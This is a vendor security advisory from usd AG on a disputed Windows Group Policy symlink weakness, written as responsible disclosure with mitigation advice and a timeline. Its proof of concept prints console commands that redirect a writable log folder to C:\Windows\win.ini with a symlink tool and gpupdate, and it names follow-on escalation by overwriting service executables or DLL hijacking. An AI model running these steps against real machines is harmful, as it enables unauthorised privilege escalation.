usd-2021-0001 | Insecure File Handling during Group Policy Updates
Advisory ID: usd-2021-0001
Affected Product: Windows 10
Affected Version: Latest
Vulnerability Type: Symlink Vulnerability
Security Risk: Conditional
Vendor URL: https://www.microsoft.com
Vendor Status: Not fixed / Disputed
The following behavior was reported to Microsoft in February 2021. After finishing their investigations, Microsoft informed us that they do not consider this a security vulnerability in Windows. As we identified a real-world occurrence of this behavior which lead to privilege escalation, we decided to still disclose this advisory to rise awareness about this topic.
Windows Group Policy updates may allow low privileged user accounts to elevate their privileges by abusing symbolic file system links.
Windows Group Policies are used to control and define the working environment of users and computers within Active Directory. They provide a great amount of control and allow to centrally manage Windows settings that should be unified within an organization. Among others, Windows Group Policies allow to deploy files, folders and access permissions across domain joined computers. This functionality has found to be vulnerable against symbolic link attacks. If a new file or folder is created, or if access permissions are changed on a file within a user controlled part of the file system, a low privileged user account can redirect the operation using symbolic links. The outcome depends on the actual operation and can lead from privileged file write vulnerabilities to more dangerous privilege escalations.
The fact that Windows Group Policy updates follow symbolic links during file operations can be viewed as a feature, but from our point of view it is a dangerous functionality. We encountered multiple setups where symbolic links could be used to elevate permissions from low privileged user accounts to NT AUTHORITY\SYSTEM. The Proof of Concept below demonstrates one example for such an situation.
Proof of Concept (PoC)
During one of our workstation assessments we encountered Group Policy Rules that allowed low privileged user accounts to take control of arbitrary files. The following screenshot shows one of the vulnerable GPO Rules, that was enumerated using the gpresult utility.
As one can see above, the rule sets write permissions on a log directory that is used by any authenticated user account. It might look harmless, but as the upper directory C:\internal\logs is also writable by low privileged user accounts, it is possible to perform a symbolic link attack.
In the following listing, we use the symboliclink-testing-tools by James Forshaw to create a symbolic link with a low privileged user account. The symbolic link connects the previously mentioned log folder with the well known C:\Windows\win.ini file.
C:\›icacls C:\internal\logs C:\internal\logs BUILTIN\Administrators:(I)(OI)(CI)(F) NT AUTHORITY\SYSTEM:(I)(OI)(CI)(F) BUILTIN\Users:(I)(OI)(CI)(RX) NT AUTHORITY\Authenticated Users:(I)(M) NT AUTHORITY\Authenticated Users:(I)(OI)(CI)(IO)(M) Successfully processed 1 files; Failed processing 0 files C:\›move C:\internal\logs\general C:\ProgramData 1 dir(s) moved. C:\›C:\ProgramData\CreateSymlink.exe C:\internal\logs\general C:\Windows\win.ini Opened Link \RPC Control\general -› \??\C:\Windows\win.ini: 00000184 Press ENTER to exit and delete the symlink
After the symbolic link was created, one can enforce a Group Policy update using the gpupdate utility. After the Group Policy update has finished, the file permissions on the C:\Windows\win.ini file should have changed.
C:\›icacls C:\Windows\win.ini C:\Windows\win.ini BUILTIN\Administrators:(I)(F) NT AUTHORITY\SYSTEM:(I)(F) BUILTIN\Users:(I)(RX) APPLICATION PACKAGE AUTHORITY\ALL APPLICATION PACKAGES:(I)(RX) APPLICATION PACKAGE AUTHORITY\ALL RESTRICTED APPLICATION PACKAGES:(I)(RX) Successfully processed 1 files; Failed processing 0 files C:\›gpupdate /force Updating policy... Computer Policy update has completed successfully. C:\›icacls C:\Windows\win.ini C:\Windows\win.ini BUILTIN\Users:(M) BUILTIN\Administrators:(I)(F) NT AUTHORITY\SYSTEM:(I)(F) BUILTIN\Users:(I)(RX) NT AUTHORITY\Authenticated Users:(I)(M) Successfully processed 1 files; Failed processing 0 files
Escalating privileges from here is a rather easy task. An attacker could use the vulnerability to overwrite an arbitrary service executable or to make a system relevant folder writable. From here, the attacker could perform DLL Hijacking attacks to elevate privileges.
As already mentioned, the fact that Group Policy updates follow symbolic links might be a feature. It might even be the case that it is required by some Windows internals that we aren’t aware of. However, as demonstrated above, it can lead to dangerous situations for organizations and imposes a security risk when system administrators are not fully aware of it. Therefore, our recommendation suggests not to follow symbolic links during Group Policy updates.
For organizations and system administrators, we recommend to carefully review all file system related rules that are currently configured within your Group Policy settings. Each rule that targets user controlled parts of the file system should be examined carefully for its offensive potential. If in doubt, it might be better to disable the rule and to search for an alternative solution.
- 2021-02-23 This vulnerability is reported via Microsoft Security Response Center
- 2021-03-08 Microsoft rises question about our Proof-of-Concept
- 2021-03-14 We add additional clarification about our PoC
- 2021-03-24 Microsoft informs us that they finished investigation and do not consider this a security issue
- 2021-04-30 Security advisory released
This security vulnerability was found by Tobias Neitzel of usd AG.
ABOUT usd SECURITY ADVISORIES
In order to protect businesses against hackers and criminals, we always have to keep our skills and knowledge up to date. Thus, security research is just as important for our work as is building up a security community to promote the exchange of knowledge. After all, more security can only be achieved if many individuals take on the task.
Our CST Academy and our usd HeroLab are essential parts of our security mission. We share the knowledge we gain in our practical work and our research through training courses and publications. In this context, the usd HeroLab publishes a series of papers on new vulnerabilities and current security issues.
Always for the sake of our mission: „more security.“
In accordance with usd AG’s Responsible Disclosure Policy, all vendors have been notified of the existence of these vulnerabilities.
The information provided in this security advisory is provided „as is“ and without warranty of any kind. Details of this security advisory may be updated in order to provide as accurate information as possible.